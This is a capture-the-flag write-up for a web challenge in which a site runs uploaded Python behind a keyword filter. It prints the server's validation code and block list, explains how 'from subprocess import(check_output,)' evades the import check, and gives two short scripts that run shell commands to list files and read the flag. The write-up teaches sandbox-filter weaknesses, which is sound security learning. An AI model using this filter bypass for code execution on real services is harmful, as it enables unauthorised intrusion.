Skip to content

outdated

Category: Web

Description

I found this old website that runs your python code, but the security hasn't been updated in years

I'm sure there's a flag floating around, can you find it?

Instancer

Attachments: server.zip

Write-up

When navigating to the provided URL, we are greeted with a webpage displaying the interface shown in the screenshot:

It appears that this page allows us to upload Python scripts for execution.

Upon examining the codebase, specifically the submit() function responsible for handling Python submissions, we notice that our uploaded files undergo validation (test_code()) before they can be executed. Here is a snippet showcasing the validation process:

Text Only
if 'file' not in request.files:
    return redirect('/')
f = request.files['file']
fname = f"uploads/{uuid.uuid4()}.py"
f.save(fname)
code_to_test = re.sub(r'\\\s*\n\s*', '', open(fname).read().strip())
tested = test_code(code_to_test)
if tested[0]:
    res = ''
    try:
        ps = subprocess.run(['python', fname], timeout=5, capture_output=True, text=True)
        res = ps.stdout
    except:
        res = 'code timout'
...

The provided code also includes various validation methods:

Text Only
def test_for_non_ascii(code):
    return any(not (0 < ord(c) < 127) for c in code)

def test_for_imports(code):
    cleaned = clean_comments_and_strings(code)
    return 'import ' in cleaned

def test_for_invalid(code):
    if len(code) > 1000:
        return True
    try:
        parse(code)
    except:
        return True
    return False

blocked = ["__import__", "globals", "locals", "__builtins__", "dir", "eval", "exec",
        "breakpoint", "callable", "classmethod", "compile", "staticmethod", "sys",
        "__importlib__", "delattr", "getattr", "setattr", "hasattr", "sys", "open"]

blocked_regex = re.compile(fr'({"|".join(blocked)})(?![a-zA-Z0-9_])')

def test_for_disallowed(code):
    code = clean_comments_and_strings(code)
    return blocked_regex.search(code) is not None

def test_code(code):
    if test_for_non_ascii(code):
        return (False, 'found a non-ascii character')
    elif test_for_invalid(code):
        return (False, 'code too long or not parseable')
    elif test_for_imports(code):
        return (False, 'found an import')
    elif test_for_disallowed(code):
        return (False, 'found an invalid keyword')
    return (True, '')

def clean_comments_and_strings(code):
    code = re.sub(r'[rfb]*("""|\'\'\').*?\1', '', code,
                  flags=re.S)
    lines, res = code.split('\n'), ''
    for line in lines:
        line = re.sub(r'[rfb]*("|\')(.*?(?!\\).)?\1',
                      '', line)
        if '#' in line:
            line = line.split('#')[0]
        if not re.fullmatch(r'\s*', line):
          res += line + '\n'
    return res.strip()

Our goal is to upload a Python script that can execute subprocess.check_output, essentially providing us with Remote Code Execution (RCE) capabilities. We need to import subprocess to use check_output. The traditional way of importing from subprocess import check_output will be detected by the validator. To achieve execution, we need to cleverly bypass the test_for_imports() function. This function sanitizes the file content and checks for the presence of import (note the space). Luckily, this can be simply bypassed with from subprocess import(check_output,). Subsequently, we can execute print(check_output(<command here>, shell=True).decode()) in our script which does not violate the rules of any validators.

To successfully accomplish our objective of leaking the flag content, we need to prepare two scripts. The first script, named leak-flag-name.py, is designed to extract the filename of the flag:

Text Only
from subprocess import(check_output,)
print(check_output("ls", shell=True).decode())

Uploading this script yields the following output:

Next, we can proceed to upload the second script, , named leak-flag.py, which allows us to view the contents of the flag file:

Text Only
from subprocess import(check_output,)
print(check_output("cat flag-62903cc6-5f4c-4602-bbde-8f155adc6625.txt", shell=True).decode())

Executing this script displays the flag we sought:

Flag: tjctf{oops_bad_filter_3b582f74}